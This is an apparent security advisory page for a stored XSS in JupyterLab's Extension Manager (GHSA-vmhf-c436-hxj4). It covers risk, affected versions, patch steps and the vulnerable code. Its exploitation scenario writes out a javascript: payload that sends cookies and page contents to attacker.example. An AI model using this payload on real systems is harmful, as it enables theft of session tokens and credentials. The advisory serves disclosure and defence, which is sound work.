JupyterLab's Extension Manager blindly trusts URL schemes from PyPI package metadata, allowing an attacker to plant a `javascript:` URI as a package's homepage — a stored XSS that fires when any data scientist clicks the extension name, requiring no access to the target environment whatsoever. With 1,874 downstream dependents, an OpenSSF score of 5.8/10, and 21 prior CVEs in the same package, the JupyterLab supply chain is a recurring weak point for AI/ML teams who routinely browse extensions during model development. Exploitation in the JupyterLab browser origin exposes everything that session holds: open notebook contents, hardcoded API keys, HuggingFace or cloud provider tokens, and active kernel connections. Patch to JupyterLab 4.5.9 immediately; as a stopgap, disable the Extension Manager via JupyterLab settings until the upgrade is complete.
What is the risk?
Medium risk with low exploitation complexity. Any attacker with a PyPI account — no special skills or prior access to the victim required — can publish a payload package and wait. The single-click precondition limits mass automated exploitation but makes targeted attacks against ML teams entirely plausible, particularly via typosquatting or AI-themed package names. JupyterLab environments are disproportionately sensitive targets: they routinely hold plaintext credentials, training data, and model artifacts in active notebook sessions. Multi-user JupyterHub deployments compound blast radius — one compromised click could expose multiple researchers' sessions through shared file systems or adjacent user contexts.
How does the attack unfold?
What systems are affected?
| Package | Ecosystem | Vulnerable Range | Patched |
|---|---|---|---|
| Jupyter | pip | <= 4.5.8 | 4.5.9 |
Do you use Jupyter? You're affected.
How severe is it?
What should I do?
5 steps-
Upgrade jupyterlab to 4.5.9 or later — fixes are in commits 4e61e07 and d5d961f, which sanitize the homepage_url before rendering.
-
If immediate patching is blocked, disable the Extension Manager by setting
"enableExtensionManager": falsein JupyterLab's user or server-level settings. -
For JupyterHub deployments, enforce a server-side allowlist of permitted extensions and restrict Extension Manager access for untrusted user roles.
-
Audit Extension Manager access logs for unusual browsing of AI-themed or newly registered packages.
-
Enforce a policy requiring ML teams to verify publisher identity, download history, and GitHub stars before clicking any unknown extension name in the manager.
How is it classified?
Which compliance frameworks are affected?
This CVE is relevant to:
Frequently Asked Questions
What is GHSA-vmhf-c436-hxj4?
JupyterLab's Extension Manager blindly trusts URL schemes from PyPI package metadata, allowing an attacker to plant a `javascript:` URI as a package's homepage — a stored XSS that fires when any data scientist clicks the extension name, requiring no access to the target environment whatsoever. With 1,874 downstream dependents, an OpenSSF score of 5.8/10, and 21 prior CVEs in the same package, the JupyterLab supply chain is a recurring weak point for AI/ML teams who routinely browse extensions during model development. Exploitation in the JupyterLab browser origin exposes everything that session holds: open notebook contents, hardcoded API keys, HuggingFace or cloud provider tokens, and active kernel connections. Patch to JupyterLab 4.5.9 immediately; as a stopgap, disable the Extension Manager via JupyterLab settings until the upgrade is complete.
Is GHSA-vmhf-c436-hxj4 actively exploited?
No confirmed active exploitation of GHSA-vmhf-c436-hxj4 has been reported, but organizations should still patch proactively.
How to fix GHSA-vmhf-c436-hxj4?
1. Upgrade jupyterlab to 4.5.9 or later — fixes are in commits 4e61e07 and d5d961f, which sanitize the homepage_url before rendering. 2. If immediate patching is blocked, disable the Extension Manager by setting `"enableExtensionManager": false` in JupyterLab's user or server-level settings. 3. For JupyterHub deployments, enforce a server-side allowlist of permitted extensions and restrict Extension Manager access for untrusted user roles. 4. Audit Extension Manager access logs for unusual browsing of AI-themed or newly registered packages. 5. Enforce a policy requiring ML teams to verify publisher identity, download history, and GitHub stars before clicking any unknown extension name in the manager.
What systems are affected by GHSA-vmhf-c436-hxj4?
This vulnerability affects the following AI/ML architecture patterns: ML development environments, Jupyter notebook workflows, Training pipeline orchestration, Multi-user JupyterHub deployments, Data science workspaces.
What is the CVSS score for GHSA-vmhf-c436-hxj4?
No CVSS score has been assigned yet.
What is the AI security impact?
Affected AI Architectures
MITRE ATLAS Techniques
AML.T0010.001 AI Software AML.T0011.001 Malicious Package AML.T0011.003 Malicious Link AML.T0025 Exfiltration via Cyber Means AML.T0074 Masquerading Compliance Controls Affected
What are the technical details?
Original Advisory
A malicious PyPI package can place a `javascript:` URL in its `[project.urls]` metadata. JupyterLab's Extension Manager renders this as the extension's home-page link without validating the protocol, so a user who clicks the extension name executes attacker-controlled JavaScript in the JupyterLab origin. ### Details One of the PyPI package's URL (jupyterlab/extensions/pypi.py) is copied straight into the `homepage_url` rendered by the frontend in packages/extensionmanager/src/widget.tsx#L77-L88. ```python best_guess_home_url = ( homepage_url # home_page / [project.urls] Homepage or data.get("project_url") or data.get("package_url") or documentation_url # docs_url / [project.urls] Documentation or source_url # [project.urls] Source Code or bug_tracker_url # bugtrack_url / [project.urls] Bug Tracker ) # homepage_url=best_guess_home_url ``` ```tsx {entry.homepage_url ? ( <a href={entry.homepage_url} target="_blank" rel="noopener noreferrer" ...> {entry.name} </a> ) : ( <div>{entry.name}</div> )} ``` ### Impact An attacker needs to publish a package to PyPI (no access to the target). When the package appears in a victim's extension manager list and the victim clicks the extension name, the payload runs in the JupyterLab origin. Preconditions: Extension Manager enabled with the default PyPI source, the malicious package appears in the victim's list/search results. ### Patches Patched in [4.5.9](https://github.com/jupyterlab/jupyterlab/releases/tag/v4.5.9), commits [4e61e07](https://github.com/jupyterlab/jupyterlab/commit/4e61e07d0a91145b53fbf96ac74b0387f6bc51f6) and [d5d961f](https://github.com/jupyterlab/jupyterlab/commit/d5d961f6e10a6442dddbf94d9a976b3897055a12)
Exploitation Scenario
An attacker registers a plausible PyPI package — e.g., `jupyterlab-llm-utils` or `jupyterlab-openai-helper` — and sets its `[project.urls]` Homepage field to `javascript:navigator.sendBeacon('https://attacker.example/c',document.cookie+';'+btoa(document.body.innerHTML))`. The package is indexed by PyPI and surfaces in Extension Manager search results for common AI/ML extension queries. A data scientist evaluating extensions for their LLM workflow clicks the package name expecting to visit the project homepage. The payload executes silently in the JupyterLab origin: session tokens are exfiltrated, and a secondary injected script reads all open notebooks — including any LLM API keys, AWS credentials, or database connection strings — and POSTs their base64-encoded contents to the attacker before the victim notices any anomaly.
Weaknesses (CWE)
CWE-84 — Improper Neutralization of Encoded URI Schemes in a Web Page: The web application improperly neutralizes user-controlled input for executable script disguised with URI encodings.
- [Implementation] Resolve all URIs to absolute or canonical representations before processing.
- [Implementation] Carefully check each input parameter against a rigorous positive specification (allowlist) defining the specific characters and format allowed. All input should be neutralized, not just parameters that the user is supposed to specify, but all data in the request, including tag attributes, hidden fields, cookies, headers, the URL itself, and so forth. A common mistake that leads to continuing XSS vulnerabilities is to validate only fields that are expected to be redisplayed by the site. We often encounter data from the request that is reflected by the application server or the application that the development team did not anticipate. Also, a field that is not currently reflected may be used by a future developer. Therefore, validating ALL parts of the HTTP request is recommended.
Source: MITRE CWE corpus.
References
Timeline
Related Vulnerabilities
CVE-2023-25574 10.0 JupyterHub LTI13: JWT forgery enables full auth bypass
Same package: jupyter CVE-2026-44180 9.8 Jupyter Enterprise Gateway: root privilege bypass in Kubernetes
Same package: jupyter CVE-2026-42266 8.8 JupyterLab: Extension allow-list bypass enables privesc
Same package: jupyter CVE-2026-5422 8.1 jupyter-server: path traversal exposes sibling dir files
Same package: jupyter CVE-2025-30370 7.4 jupyterlab-git: command injection via malicious repo name
Same package: jupyter